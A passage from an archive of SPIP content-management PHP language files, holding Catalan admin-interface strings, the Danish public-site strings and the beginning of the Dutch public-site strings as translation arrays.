'lien_retirer_auteur' => 'Retirar aquest autor',
'lien_retirer_tous_auteurs' => 'Retirar tots els autors',
'lien_retrait_particpant' => 'retirar aquest participant',
'lien_site' => 'lloc',
'lien_supprimer_rubrique' => 'suprimir aquesta secció',
'lien_tout_deplier' => 'Obrir-ho tot',
'lien_tout_replier' => 'Tancar-ho tot',
'lien_tout_supprimer' => 'Suprimir-ho tot',
'lien_trier_nom' => 'Classificar per nom',
'lien_trier_nombre_articles' => 'Classificar per número d’articles',
'lien_trier_statut' => 'Classificar per estat',
'lien_voir_en_ligne' => 'VEURE EN LÍNIA:',
'logo_article' => 'Logotip de l’article',
'logo_auteur' => 'Logotip de l’autor',
'logo_rubrique' => 'Logotip de la secció',
'logo_site' => 'Logotip d’aquest lloc',
'logo_standard_rubrique' => 'Logotip estàndard de les seccions',
'logo_survol' => 'Logotip canviant',
// M
'menu_aide_installation_choix_base' => 'Trieu la vostra base de dades',
'module_fichier_langue' => 'Fitxer de llengua',
'module_raccourci' => 'Drecera',
'module_texte_affiche' => 'Text publicat',
'module_texte_explicatif' => 'Podeu inserir els recursos següents a les plantilles del vostre lloc públic. Es traduiran automàticament a les diferents llengües per les que existeix un fitxer de llengua.',
'module_texte_traduction' => 'El fitxer de llengua « @module@ » es troba disponible a:',
'mois_non_connu' => 'desconegut',
// N
'nouvelle_version_spip' => 'Està disponible la versió @version@ d’SPIP',
// O
'onglet_contenu' => 'Contingut',
'onglet_declarer_une_autre_base' => 'Declarar una altre base',
'onglet_discuter' => 'Conversar',
'onglet_documents' => 'Documents',
'onglet_interactivite' => 'Interactivitat',
'onglet_proprietes' => 'Propietats',
'onglet_repartition_actuelle' => 'actualment',
'onglet_sous_rubriques' => 'Subseccions ',
// P
'page_pas_proxy' => 'Aquesta pàgina no ha de passar pel proxy',
'pas_de_proxy_pour' => 'Si ho necessiteu, indiqueu les màquines o dominis als que aquest proxy no s’ha d’aplicar (per exemple: @exemple@)',
'plugin_charge_paquet' => 'Càrrega del paquet @name@',
'plugin_charger' => 'Descarregar',
'plugin_erreur_charger' => 'error: impossible de carregar @zip@',
'plugin_erreur_droit1' => 'El directori <code>@dest@</code> no és accessible en escriptura. ',
'plugin_erreur_droit2' => 'Verifiqueu els drets sobre aquest directori (i creeu-los si és necessari), o instal·leu els fitxer per FTP.',
'plugin_erreur_zip' => 'fracàs pclzip: error @status@',
'plugin_etat_developpement' => 'en desenvolupament',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'en prova',
'plugin_impossible_activer' => 'Impossible activar el plugin @plugin@',
'plugin_info_automatique1' => 'Si voleu autoritzar la instal·lació automàtica dels plugins, vulgueu:',
'plugin_info_automatique1_lib' => 'Si voleu autoritzar la instal·lació automàtica d’aquesta llibreria, vulgueu:',
'plugin_info_automatique2' => 'crear un directori <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verificar que el servidor està autoritzat per escriure en aquest directori.',
'plugin_info_automatique_creer' => 'per crear a l’arrel del lloc.',
'plugin_info_automatique_exemples' => 'exemples:',
'plugin_info_automatique_ftp' => 'Podeu instal·lar plugins, per FTP, a dins del directori <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Alguns plugins demanen també poder carregar fitxers a dins del directori <code>lib/</code>, a crear eventualment a l’arrel del lloc.',
'plugin_info_automatique_liste' => 'Les vostres llistes de plugins :',
'plugin_info_automatique_liste_officielle' => 'els plugins oficials',
'plugin_info_automatique_liste_update' => 'Actualitzar les llistes',
'plugin_info_automatique_ou' => 'o...',
'plugin_info_automatique_select' => 'Seleccioneu més avall un plugin: SPIP el baixarà i l’instal·larà a dins del directori <code>@rep@</code> ; si aquest plugin ja existeix, s’actualitzarà.',
'plugin_info_credit' => 'Crèdits',
'plugin_info_erreur_xml' => 'La declaració d’aquest connector és incorrecta',
'plugin_info_install_ok' => 'Instal·lació correcta',
'plugin_info_necessite' => 'Necessita:', # MODIF
'plugin_info_non_compatible_spip' => 'Aquest connector no és compatible amb aquesta versió d’SPIP',
'plugin_info_plugins_dist_1' => 'Les extensions que hi ha a sota es carreguen i s’activen al directori @plugins_dist@.', # MODIF
'plugin_info_plugins_dist_2' => 'No es poden desactivar.', # MODIF
'plugin_info_telecharger' => 'baixar-lo des de @url@ i instal·lar-lo a @rep@',
'plugin_librairies_installees' => 'Llibreries instal·lades',
'plugin_necessite_lib' => 'Aquest plugin necessita la llibreria @lib@',
'plugin_necessite_plugin' => 'Requereix el plugin @plugin@ com a mínim en la versió @version@.',
'plugin_necessite_spip' => 'Requereix com a mínim la versió @version@ d’SPIP.',
'plugin_source' => 'font: ',
'plugin_titre_automatique' => 'Instal·lació automàtica',
'plugin_titre_automatique_ajouter' => 'Afegir plugins',
'plugin_titre_installation' => 'Instal·lació del connector @plugin@',
'plugin_zip_active' => 'Continueu per activar-lo',
'plugin_zip_adresse' => 'indiqueu més avall l’adreça d’un fitxer zip de plugin a baixar, o fins i tot l’adreça d’una llista de plugins.',
'plugin_zip_adresse_champ' => 'Adreça del plugin o de la llista ',
'plugin_zip_content' => 'Conté els següents fitxers (@taille@),<br />a punt per a ser instal·lats en el directori <code>@rep@</code>',
'plugin_zip_installe_finie' => 'El fitxer @zip@ s’ha descomprimit i instal·lat.',
'plugin_zip_installe_rep_finie' => 'El fitxer @zip@ s’ha descomprimit i instal·lat en el directori @rep@',
'plugin_zip_installer' => 'Ara el podeu instal·lar.',
'plugin_zip_telecharge' => 'El fitxer @zip@ s’ha baixat',
'plugins_actif_aucun' => 'No hi ha cap connector activat.',
'plugins_actif_un' => 'Un connector activat.',
'plugins_actifs' => '@count@ plugins actius.',
'plugins_actifs_liste' => 'Connectors actius', # MODIF
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un connector disponible.',
'plugins_disponibles' => '@count@ plugins disponibles.',
'plugins_erreur' => 'Error en els plugins: @plugins@',
'plugins_liste' => 'Llista dels connectors',
'plugins_liste_dist' => 'Extensions', # MODIF
'plugins_recents' => 'Connectors recents.',
'plugins_vue_hierarchie' => 'Jerarquia',
'plugins_vue_liste' => 'Llista',
'protocole_ldap' => 'Versió del protocol:',
// Q
'queue_executer_maintenant' => 'Executar ara',
'queue_nb_jobs_in_queue' => '@nb@ treballs en espera',
'queue_next_job_in_nb_sec' => 'Proper treball en @nb@ s',
'queue_no_job_in_queue' => 'Cap treball en espera',
'queue_one_job_in_queue' => '1 treball en espera',
'queue_purger_queue' => 'Purgar la llista de treballs', # MODIF
'queue_titre' => 'Llista de treballs',
// R
'repertoire_plugins' => 'Directori:',
// S
'sans_heure' => 'sense hora',
'statut_admin_restreint' => '(admin restringida)', # MODIF
// T
'tache_cron_asap' => 'Tache CRON @function@ (ASAP)', # MODIF
'tache_cron_secondes' => 'Tache CRON @function@ (toutes les @nb@ s)', # MODIF
'taille_cache_image' => 'Les imatges calculades automàticament per SPIP (miniatures dels documents, títols presentats en forma gràfica, función matemàtiques en format TeX...) ocupen en el directori @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Aquest lloc Web no preveu limitar la mida del directori de la memòria cau (cache).',
'taille_cache_maxi' => 'SPIP prova de limitar la mida del directori de la memòria cau (cache) d’aquest lloc a aproximadament <b>@octets@</b> de dades.',
'taille_cache_octets' => 'La mida de la memòria cau és actualment de @octets@.', # MODIF
'taille_cache_vide' => 'La memòria cau està buida.',
'taille_repertoire_cache' => 'Mida del directori de la memòria cau',
'text_article_propose_publication' => 'Article proposat per ser publicat.',
'texte_acces_ldap_anonyme_1' => 'Alguns servidors LDAP no accepten accessos anònims. En aquest cas és necessari especificar un identificador d’accés inicial per tal de poder buscar informacions en el directori. En la majoria de casos tanmateix, els camps següents es podrán deixar buits.',
'texte_admin_effacer_01' => 'Aquesta comanda esborra <i>tot</i> el contingut de la base de dades,
la qual compren <i>tots</i> els accessos dels redactors i administradors. Després d’haver-la executat, haureu de reinstal.lar l’SPIP per refer una nova base i un primer accés per l’administrador.',
'texte_adresse_annuaire_1' => '(Si el vostre anuari està instal.lat a la mateixa maquina que aquesta web, es tracta probablement de "localhost".)',
'texte_ajout_auteur' => 'L’autor següent ha estat afegit a l’article:',
'texte_annuaire_ldap_1' => 'Si se disposa d’un accés a un anuari (LDAP), es pot utilitzar per a importar automàticament els/les usuaris/es baix SPIP.',
'texte_article_statut' => 'Aquest article està:',
'texte_article_virtuel' => ' Article virtual',
'texte_article_virtuel_reference' => ' <b>Article virtual:</b> article referenciat en la web amb SPIP, però redirigit cap un altre URL. Per suprimir la redirecció, esborreu l’URL que apareix dalt.',
'texte_aucun_resultat_auteur' => 'Cap resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aquest lloc us pot mostrar permanentment la llista dels redactors que estan connectats, permetent-vos intercanviar missatges en directe. Podeu decidir no aparèixer en aquesta llista (i ser «invisibles» pels altres usuaris).',
'texte_auteur_messagerie_1' => 'Aquest lloc permet l’intercanvi de missatges i la constitució de fòrums privats entre els participants. Podeu decidir no participar en aquests fòrums.',
'texte_auteurs' => 'ELS AUTORS',
'texte_choix_base_1' => 'Trie la seua base:',
'texte_choix_base_2' => 'El servidor SQL conté diverses bases de dades.',
'texte_choix_base_3' => '<b>Seleccioneu</b> d’aquí sota quina us ha estat atribuïda pel vostre proveïdor d’hostatge:',
'texte_choix_table_prefix' => 'Prefix de les taules:',
'texte_commande_vider_tables_indexation' => 'Utiliceu aquesta comanda per buidar les taules d’indexació emprades
pel motor de recerca integrat en SPIP. Això vos permetrà
guanyar espai a disc.',
'texte_compatibilite_html' => 'Podeu demanar a SPIP que produeixi, al lloc públic, codi compatible amb la norma <i>HTML4</i>, o permetre-li utilitzar les possibilitats més modernes de l’<i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'No hi ha cap risc activant la opció <i>HTML5</i>, però si ho feu, les pàgines del vostre lloc, si voleu que siguin vàlides, hauran de començar per la següent menció: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(açò pot ser comprimit o no)',
'texte_compte_element' => ' @count@ element',
'texte_compte_elements' => ' @count@ elements',
'texte_conflit_edition_correction' => 'Vulgueu controlar més avall les diferències entre les dues versions del text; podeu també copiar les vostres modificacions, i després començar de nou. ',
'texte_connexion_mysql' => 'Consulteu les informacions aportades pel vostre proveïdor d’hostatge: heu de trobar-hi el servidor de base de dades que proposa i els identificadors personals per connectar-vos-hi.',
'texte_contenu_article' => ' (Contingut de l’article en poques paraules.)',
'texte_contenu_articles' => 'Segons l’esquelet triat per la vostra web, podeu decidir
que certs elements dels articles no siguen emprats.
Useu la llista d’ací baix per a indicar quins elements estaran disponibles.',
'texte_crash_base' => 'Si la bbdd ha deixat de funcionar correctament, es pot intentar fer una reparació automàtica.',
'texte_creer_rubrique' => 'Abans de poder escriure els articles, <br /> heu de crear una secció.',
'texte_date_creation_article' => 'DATA DE CREACIÓ DE L’ARTICLE :',
'texte_date_publication_anterieure' => 'Data de redacció anterior:',
'texte_date_publication_anterieure_nonaffichee' => 'No publicar els articles de data de redacció anterior.',
'texte_date_publication_article' => 'DATA DE PUBLICACIÓ EN LÍNIA :',
'texte_descriptif_petition' => 'Descripció de la petició',
'texte_descriptif_rapide' => 'Descripció ràpida',
'texte_effacer_base' => 'Esborrar la base de dades SPIP',
'texte_effacer_donnees_indexation' => 'Borrar les dades d’indexació',
'texte_effacer_statistiques' => 'Esborrar les estadístiques',
'texte_en_cours_validation' => 'Els continguts que hi ha aquí a sota estan a l’espera de ser validats. ',
'texte_enrichir_mise_a_jour' => 'Podeu enriquir la compaginació del text emprant "dreceres tipogràfiques".',
'texte_fichier_authent' => '<b>SPIP ha de crear els fitxers especials <tt>.htpasswd</tt> i <tt>.htpasswd-admin</tt> en el directori @dossier@ ?</b><p>
Aquests fitxers us poden servir per restringir l’accés als autors i als administradors a altres llocs de la vostra Web (programa extern d’estadístiques, per exemple).</p> Si no li veieu cap utilitat, podeu deixar aquesta opció en el seu valor per defecte (no crear fitxers).</p>', # MODIF
'texte_informations_personnelles_1' => ' El sistema va ara a fer-vos un accés personalitzat al web.',
'texte_informations_personnelles_2' => ' (Nota: si es tracta d’una reinstal.lació mantenint el vostre accés pot', # MODIF
'texte_introductif_article' => ' (Texte introductiu de l’article.)',
'texte_jeu_caractere' => 'És aconsellable utilitzar, al vostre lloc Web, l’alfabet universal (<tt>utf-8</tt>) : aquest permet la presentació de texts en totes les llengües, i no posa problemes de compatibilitat amb els navegadors moderns.',
'texte_jeu_caractere_2' => 'Alerta: aquesta modificació no suposa la conversió dels textos ja registrats a la base de dades.',
'texte_jeu_caractere_3' => 'Actualment el vostre lloc Web està configurat amb el joc de caràcters:',
'texte_jeu_caractere_4' => 'Si això no correspon a la realitat de les vostres dades (com a conseqüència, per exemple, d’una restauració de la base de dades), o si <em>inicieu aquest lloc Web</em> i desitgeu inicialitzar amb un altre joc de caràcters, vulgueu indicar-lo aquí:',
'texte_jeu_caractere_conversion' => 'Nota: podeu decidir convertir de cop tot el conjunt de textos del vostre lloc Web (articles, breus, fòrums, etc.) cap a l’alfabet <tt>utf-8</tt>, tornant a <a href="@url@">la pàgina de conversió cap a l’utf-8</a>.',
'texte_lien_hypertexte' => '(Si el vostre missatge se refereix a un article publicat sobre el Web, o a una pàgina donant més informacions, si us plau indiqueu a continuació el nom de la pàgina i la seua adreça URL.)',
'texte_login_ldap_1' => '(Deixar buit per un accés anònim, o ficar l’ordre sencera, per exemple " <tt>uid=Ferrer, ou=users, dc=el-meu-domini, dc=com</tt>".)',
'texte_login_precaution' => 'Atenció! Aquest és el login o nom d’usuari amb el qual esteu connectats actualment.
Useu aquest formulari amb precaució...',
'texte_message_edit' => 'Atenció: aquest missatge pot ser modificat per tots els administradors del lloc, i és invisible per a tots els redactors. No feu servir els anuncis per a res que no siga realment important pel manteniment del site.',
'texte_messagerie_agenda' => 'Una missatgeria permet als redactors del lloc comunicar-se entre ells directament a l’espai privat del lloc Web. Està associada a una agenda. ',
'texte_mise_a_niveau_base_1' => 'S’han actualitzat els fitxers d’SPIP.
Cal ara actualitzar la base de dades del lloc.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>El motor de cerca està activat.</b> Utilitzeu aquesta comanda
si desitgeu fer una reindexació ràpida (després de la restauració
d’una còpia de seguretat, per exemple). Heu d’adonar-vos que els documents modificats de forma normal(des de la interfície d’SPIP) són automàticament
reindexats: aquesta comanda no és útil només que de manera excepcional.',
'texte_moteur_recherche_non_active' => 'El motor de recerca no està activat.',
'texte_multilinguisme' => 'Si es desitja es pot generar els articles es diversos idiomes, amb una navegació complexa, es pot també afegir un menú per seleccionar l’idioma dels articles i/o de les seccions, en funció de l’organització del lloc web.', # MODIF
'texte_multilinguisme_trad' => 'Es pot igualment activar un sistema de gestió d’enllaços entre les diferents traduccions d’un article.', # MODIF
'texte_non_compresse' => ' <i>no comprimit</i> (el servidor no suporta aquesta funcionalitat)',
'texte_nouveau_message' => 'Missatge nou',
'texte_nouvelle_version_spip_1' => 'Heu instal.lat una nova versió d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta nova versió necessita una actualització més complerta que la normal. Si sou el webmestre del lloc, esborreu el fitxer @connect@ i repreneu la instal·lació per tal d’actualitzar els paràmetres de connexió a la base de dades.<p> (NB.: si heu oblidat els vostres paràmetres de connexió, doneu un cop d’ull al fitxer @connect@ abans de suprimir-lo...)</p>',
'texte_operation_echec' => 'Torneu a la pàgina anterior, seleccioneu una altra base o creeu-ne una de nova. Verifiqueu les dades donades pel vostre proveïdor d’hostatge.',
'texte_plus_trois_car' => 'més de 3 caràcters',
'texte_plusieurs_articles' => 'Diversos autors trobats per "@cherche_auteur@":',
'texte_port_annuaire' => ' (El valor indicat per defecte es en general convenient.)',
'texte_presente_plugin' => 'Aquesta pàgina llista els connectors disponibles al vostre lloc Web. Podeu activar els connectors marcant la casella corresponent.',
'texte_proposer_publication' => 'Quan un article està acabat, <br /> podeu proposar la seva publicació.',
'texte_proxy' => 'En alguns casos (intranet, xarxes protegides), els llocs distants (documentació d’SPIP, llocs Web sindicats, etc.) només són accessibles per mitjà d’un <i>proxy HTTP</i>. En aquest cas, indiqueu a continuació la seva adreça, en la forma @proxy_en_cours@. En general, deixareu buida aquesta opció.',
'texte_publication_articles_post_dates' => 'Que ha de fer SPIP quan els articles tinguin una data de publicació posterior a l’actual?',
'texte_rappel_selection_champs' => ' [No oblide pas seleccionar correctament aquest camp.]',
'texte_recalcul_page' => 'Si es vol recarregar una sola pàgina, cal passar abans per l’espai públic i premer el botó "recarregar".',
'texte_recapitiule_liste_documents' => 'Aquesta pàgina recull un llistat de documents que hi ha a cada secció de la seua web. Per modificar la informació de cada document premer el enllaç cap a la pàgina de la seua secció.',
'texte_recuperer_base' => 'Reparar la base de dades',
'texte_reference_mais_redirige' => 'article referenciat a la web SPIP, pero redirigit cap a un altre URL.',
'texte_requetes_echouent' => '<b>Quan algunes peticions SQL fracassen sistemàticament i sense cap raó aparent, és possible que sigui per culpa de la pròpia base de dades.</b><p>
El vostre servidor SQL disposa d’una facultat de reparació de les seves taules quan aquestes s’han deteriorat per accident. Aquí podeu intentar aquesta reparació; en cas de fracàs, conserveu una còpia del resultat ja que possiblement conté indicis de quines coses no funcionen...</p><p>
Si el problema persisteix, poseu-vos en contacte amb el vostre proveïdor d’allotjament.</p>',
'texte_selection_langue_principale' => 'A continuació podeu seleccionar la «llengua principal» del lloc. Aquesta selecció no us obliga - afortunadament! - a escriure els vostres articles en la llengua escollida, però permet determinar:
<ul><li> el format per defecte de les dates en el lloc públic;</li>
<li> la naturalesa del motor tipogràfic que l’SPIP ha d’utilitzar per la reproducció dels textos;</li>
<li> l’idioma utilitzat en els formularis del lloc públic;</li>
<li> l’idioma mostrat per defecte en l’espai privat.</li></ul>',
'texte_sous_titre' => 'Subtítol',
'texte_statistiques_visites' => '(columnes sombrejades: diumenge/corba obscura: evolució de la mitjana)',
'texte_statut_attente_validation' => 'esperant la validació',
'texte_statut_publies' => 'publicats en línia',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Useu aquesta comanda per suprimir tots els fitxers presents
a la caché d’SPIP. Això permet per exemple forçar un recàlcul de totes les pàgines si s’ha
fet modificacions importants gràficament o estructurals del lloc web.',
'texte_sur_titre' => 'Sobretítol',
'texte_table_ok' => ': aquesta taula està OK.',
'texte_tables_indexation_vides' => 'Les taules d’indexació del motor estan buides.',
'texte_tentative_recuperation' => 'Intent de reparació',
'texte_tenter_reparation' => 'Intentar una reparació de la base de dades',
'texte_test_proxy' => 'Per fer una prova d’aquest proxy, indicar ací l’adreça del lloc Web
que es vol testar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatori]',
'texte_travail_article' => '@nom_auteur_modif@ ha treballat amb aquest article fa @date_diff@ minuts',
'texte_travail_collaboratif' => 'Si és freqüent que diversos redactors treballin en un mateix article, el sistema pot mostrar els articles "oberts" recentment per tal d’evitar les modificacions simultànies.
Aquesta opció està desactivada per defecte amb la finalitat d’evitar mostrar missatges d’advertència intempestius.',
'texte_trop_resultats_auteurs' => 'Massa resultats "@cherche_auteur@" ; si us plau, faça una recerca més acurada.',
'texte_unpack' => 'descàrrega de la darrera versió',
'texte_utilisation_moteur_syndiques' => 'Quan utilitzeu el motor de cerca integrat a SPIP, podeu efectuar les cerques als llocs i als articles sindicats de dues maneres diferents.<br />- La més simple consisteix en buscar únicament a dins dels títols i les descripcions dels articles. <br />- Un segon mètode, molt més potent, permet a SPIP buscar també a dins dels texts dels llocs referenciats. Si referencieu un lloc Web, SPIP efectuarà llavors la cerca a dins del text d’aquest lloc.',
'texte_utilisation_moteur_syndiques_2' => 'Aquest metode obliga SPIP a visitar
regularment les webs referenciades,
el que pot provocar un lleuger alentiment de la vostra pròpia web.',
'texte_vide' => 'buit',
'texte_vider_cache' => 'buidar la memòria cau',
'titre_admin_effacer' => 'Manteniment tècnic',
'titre_admin_tech' => 'Manteniment tècnic',
'titre_admin_vider' => 'Manteniment tècnic',
'titre_ajouter_un_auteur' => 'Afegir un autor',
'titre_ajouter_un_mot' => 'Afegir una paraula clau',
'titre_cadre_afficher_article' => 'Afegir els articles',
'titre_cadre_afficher_traductions' => 'Mostrar l’estat de les traduccions per les següents llengües:',
'titre_cadre_ajouter_auteur' => 'AFEGIR UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'A l’interior de la secció',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_numero_objet' => '@objet@ NÚMERO:',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_contenu_notifications' => 'Notificacions',
'titre_config_contenu_prive' => 'A l’espai privat',
'titre_config_contenu_public' => 'Al lloc públic',
'titre_config_fonctions' => 'Configuració del web',
'titre_config_langage' => 'Configurar la llengua',
'titre_configuration' => 'Configuració del lloc',
'titre_configurer_preferences' => 'Configurar les vostres preferències',
'titre_conflit_edition' => 'Conflicte durant l’edició',
'titre_connexion_ldap' => 'Opcions: <b>Vostre connexió LDAP</b>',
'titre_groupe_mots' => 'GRUP DE MOTS:',
'titre_identite_site' => 'Identitat del lloc',
'titre_langue_article' => 'Llengua de l’article',
'titre_langue_rubrique' => 'Llengua de la secció',
'titre_langue_trad_article' => 'LLENGUA I TRADUCCIONS DE L’ARTICLE',
'titre_les_articles' => 'ELS ARTICLES',
'titre_messagerie_agenda' => 'Missatgeria i agenda',
'titre_naviguer_dans_le_site' => 'Navegar dins el web...',
'titre_nouvelle_rubrique' => 'Nova secció',
'titre_numero_rubrique' => 'SECCIÓ NÚMERO:',
'titre_page_admin_effacer' => 'Manteniment tècnic: esborrar la base',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Els articles',
'titre_page_articles_tous' => 'Tota la web',
'titre_page_auteurs' => 'Visitants',
'titre_page_calendrier' => 'Calendari @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuració del lloc',
'titre_page_config_fonctions' => 'Configuració del lloc',
'titre_page_configuration' => 'Configuració del lloc',
'titre_page_controle_petition' => 'Control de peticions',
'titre_page_delete_all' => 'supresió total i irreversible',
'titre_page_documents_liste' => 'Els documents de les seccions',
'titre_page_index' => 'El vostre espai privat',
'titre_page_message_edit' => 'Enviar un misstge',
'titre_page_messagerie' => 'La vostra missatgeria',
'titre_page_recherche' => ' Resultats de la recerca @recherche@',
'titre_page_statistiques_referers' => 'Estadistiques (vincles entrants)',
'titre_page_statistiques_signatures_jour' => 'Nombre de signatures per dia',
'titre_page_statistiques_signatures_mois' => 'Nombre de signatures per mes',
'titre_page_upgrade' => 'Actualitzar SPIP',
'titre_publication_articles_post_dates' => 'Publicació dels articles datats posteriorment',
'titre_referencer_site' => 'Referenciar el lloc Web:',
'titre_rendez_vous' => 'CITA:',
'titre_reparation' => ' Reparació',
'titre_suivi_petition' => 'Seguiment de les peticions',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'No existeix cap article que porte aquest número.',
'trad_article_traduction' => 'Totes les versions d’aquest article:',
'trad_deja_traduit' => 'Error: impossible enllaçar aquest article amb el número demanat.',
'trad_delier' => 'No enllaçar amb aquestes traduccions',
'trad_lier' => 'Aquest article és una traducció de l’article número:',
'trad_new' => 'Escriure una nova traducció',
// U
'upload_info_mode_document' => 'Deixar aquesta imatge a dins del portafoli ',
'upload_info_mode_image' => 'Treure aquesta imatge del portafoli',
'utf8_convert_attendez' => 'Espereu-vos uns instants i recarregueu aquesta pàgina. ',
'utf8_convert_avertissement' => 'Us prepareu per convertir el contingut de la vostra base de dades (articles, breus, etc) del joc de caràcter <b>@orig@</b> cap al joc de caràcters <b>@charset@</b>.',
'utf8_convert_backup' => 'No oblideu fer abans una còpia de seguretat sencera del vostre lloc Web. Haureu també de verificar que les vostre plantilles i fitxers de llengua són compatibles @charset@.',
'utf8_convert_erreur_deja' => 'El vostre lloc Web ja està en @charset@, és inútil convertir-lo...',
'utf8_convert_erreur_orig' => 'Error: no es permet l’ús del joc de caràcters @charset@.',
'utf8_convert_termine' => 'S’ha acabat!',
'utf8_convert_timeout' => 'Important:</b> en cas de <i>temps excedit</i> del servidor, volgueu recarregar la pàgina fins que indiqui «acabat».',
'utf8_convert_verifier' => 'Ara heu de buidar la memòria cau, i verificar que tot és correcte a les pàgines publicades del vostre lloc Web. En cas que tingueu problemes, s’ha fet una còpia de seguretat de les vostres dades (en format SQL) dins del directori @rep@.',
'utf8_convertir_votre_site' => 'Convertir el vostre lloc Web a utf-8',
// V
'version' => 'Versió:'
);
?>
public_da.php 0000666 00000006615 15252547432 0007224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Hjemmeside', # MODIF
'articles' => 'Artikler',
'articles_auteur' => 'Denne forfatters artikler',
'articles_populaires' => 'De mest læste artikler',
'articles_rubrique' => 'Dette områdes artikler',
'aucun_article' => 'Der er ingen artikel på denne adresse',
'aucun_auteur' => 'Der er ingen forfatter på denne adresse',
'aucun_site' => 'Der er intet websted på denne adresse',
'aucune_breve' => 'Der er ingen nyhed på denne adresse',
'aucune_rubrique' => 'Der er ikke noget afsnit på denne adresse',
'autres_breves' => 'Andre nyheder',
'autres_groupes_mots_clefs' => 'Andre grupper af nøgleord',
'autres_sites' => 'Andre websteder',
// B
'bonjour' => 'Hej',
// C
'commenter_site' => 'Kommentar til dette websted',
// D
'date' => 'Dato',
'dernier_ajout' => 'Seneste tilføjelse',
'dernieres_breves' => 'Seneste nyhed',
'derniers_articles' => 'Seneste artikler',
'derniers_commentaires' => 'Seneste kommentarer',
'derniers_messages_forum' => 'Seneste indlæg offentliggjort i forummer',
// E
'edition_mode_texte' => 'Tekstudgave',
'en_reponse' => 'Svaradresse:',
'en_resume' => 'Opsummering',
'envoyer_message' => 'Lav indlæg',
'espace_prive' => 'Privat område',
// H
'hierarchie_site' => 'Webstedets struktur',
// J
'jours' => 'dage',
// M
'meme_auteur' => 'Af samme forfatter',
'meme_rubrique' => 'I samme afsnit',
'memes_auteurs' => 'Af samme forfattere',
'message' => 'Indlæg',
'messages_forum' => 'Forumindlæg', # MODIF
'messages_recents' => 'Seneste forumindlæg',
'mots_clefs' => 'Nøgleord',
'mots_clefs_meme_groupe' => 'Nøgleord i samme gruppe',
// N
'navigation' => 'Navigering',
'nom' => 'Navn',
'nouveautes' => 'Hvad nyt',
'nouveautes_web' => 'Hvad nyt på Internettet',
'nouveaux_articles' => 'Nye artikler',
'nouvelles_breves' => 'Nyheder',
// P
'page_precedente' => 'foregående side',
'page_suivante' => 'næste side',
'par_auteur' => 'af',
'participer_site' => 'Du kan deltage aktivt på dette websted og skrive dine egne artikler ved at tilmelde dig nedenfor. Du vil da straks modtage en email med en adgangskode til webstedets private område.',
'plan_site' => 'Indholdsoversigt',
'popularite' => 'Popularitet',
'poster_message' => 'Indlæg',
// R
'repondre_article' => 'Lav et svar til denne artikel',
'repondre_breve' => 'Lav et svar på denne nyhed',
'resultats_recherche' => 'Søgeresultater',
'retour_debut_forums' => 'Tilbage til starten på forummet',
'rubrique' => 'Afsnit',
'rubriques' => 'Afsnit',
// S
'signatures_petition' => 'Underskrifter',
'site_realise_avec_spip' => 'Websted lavet med SPIP',
'sites_web' => 'Websteder',
'sous_rubriques' => 'Underafsnit',
'suite' => 'fortsæt',
'sur_web' => 'På Internettet',
'syndiquer_rubrique' => 'Syndiker dette afsnit',
'syndiquer_site' => 'Syndiker hele webstedet',
// T
'texte_lettre_information' => 'Her er webstedets nyhedsbrev',
'texte_lettre_information_2' => 'Dette brev opsummerer artikler og nyheder offentlliggjort siden', # MODIF
// V
'ver_imprimer' => 'Printbar version',
'voir_en_ligne' => 'Se online',
'voir_squelette' => 'Hent skabelonen til denne side'
);
?>
public_nl.php 0000666 00000007662 15252547432 0007254 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Homepagina',
'article' => 'Artikel',
'articles' => 'Artikels',
'articles_auteur' => 'Artikels van deze auteur',
'articles_populaires' => 'Meest bekeken artikels',
'articles_rubrique' => 'Artikels van deze rubriek',
'aucun_article' => 'Op dit adres is geen artikel te vinden',
'aucun_auteur' => 'Op dit adres is geen auteur te vinden',
'aucun_site' => 'Op dit adres is geen site te vinden',
'aucune_breve' => 'Op dit adres is geen nieuwsbericht te vinden',
'aucune_rubrique' => 'Op dit adres is geen rubriek te vinden',
'auteur' => 'Auteur',
'autres' => 'Anderen',
'autres_breves' => 'Andere nieuwsberichten',
'autres_groupes_mots_clefs' => 'Andere groepen trefwoorden',
'autres_sites' => 'Andere sites',
// B
'bonjour' => 'Hallo',
// C
'commenter_site' => 'Commentaar geven op de site',
'contact' => 'Contact',
'copie_document_impossible' => 'Onmogelijk om het document te kopiëren',
// D
'date' => 'Datum',
'dernier_ajout' => 'Laatste toevoeging',
'dernieres_breves' => 'Laatste nieuwsberichten',
'derniers_articles' => 'Laatste artikels',
'derniers_commentaires' => 'Laatste commentaren',
'derniers_messages_forum' => 'Laatst gepubliceerde berichten in het forum',
// E
'edition_mode_texte' => 'Uitgave in tekstmodus van',
'en_reponse' => 'Als antwoord op :',
'en_resume' => 'Samengevat',
